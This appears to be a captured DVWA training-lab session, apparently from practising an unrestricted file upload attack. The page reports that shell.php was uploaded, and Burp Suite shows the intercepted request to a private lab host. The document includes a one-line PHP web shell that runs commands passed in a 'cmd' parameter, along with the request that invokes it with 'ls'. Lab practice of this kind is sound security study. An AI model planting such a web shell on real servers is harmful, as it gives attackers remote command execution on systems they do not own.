- Home
- Instructions
- Setup

- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection
- SQL Injection (Blind)
- Upload
- XSS reflected
- XSS stored

- DVWA Security
- PHP Info
- About

- Logout

Vulnerability: File Upload

Choose an image to upload:

Choose File No file chosen

Upload

../../hackable/uploads/shell.php succesfully uploaded!

More info

http://www.owasp.org/index.php/Unrestricted_File_Upload
http://blogs.securiteam.com/index.php/archives/1268
http://www.acunetix.com/websitesecurity/upload-forms-threat.htm

Username: admin
Security Level: low
PHPIDS: disabled

View Source | View Help

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn

Intercept HTTP history WebSockets history | Proxy settings

Request to http://192.168.49.101:80

Forward Drop Intercept is on Action Open browser

Pretty Raw Hex

```
1  GET /dvwa/hackable/uploads/shell.php?cmd=ls HTTP/1.1
2  Host: 192.168.49.101
3  Content-Length: 433
4  Cache-Control: max-age=0
5  Upgrade-Insecure-Requests: 1
6  Origin: http://192.168.49.101
7  Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMfWvwZEIG58JlFeJ
8  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.159 Safari/537.36
9  Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
10 Referer: http://192.168.49.101/dvwa/vulnerabilities/upload/
11 Accept-Encoding: gzip, deflate, br
12 Accept-Language: en-US,en;q=0.9
13 Cookie: security=low; PHPSESSID=304602043d562bbc0d9ef87daad52bbb
14 Connection: close
15
16 ------WebKitFormBoundaryMfWvwZEIG58JlFeJ
17 Content-Disposition: form-data; name="MAX_FILE_SIZE"
18
19 100000
20 ------WebKitFormBoundaryMfWvwZEIG58JlFeJ
21 Content-Disposition: form-data; name="uploaded"; filename="shell.php"
22 Content-Type: application/x-php
23
24 <?php system($_REQUEST["cmd"]);?>
25
26 ------WebKitFormBoundaryMfWvwZEIG58JlFeJ
27 Content-Disposition: form-data; name="Upload"
28
29 Upload
30 ------WebKitFormBoundaryMfWvwZEIG58JlFeJ--
31
```

File Edit Search View Document Help

```
1 <?php system($_REQUEST["cmd"]);?>
2
```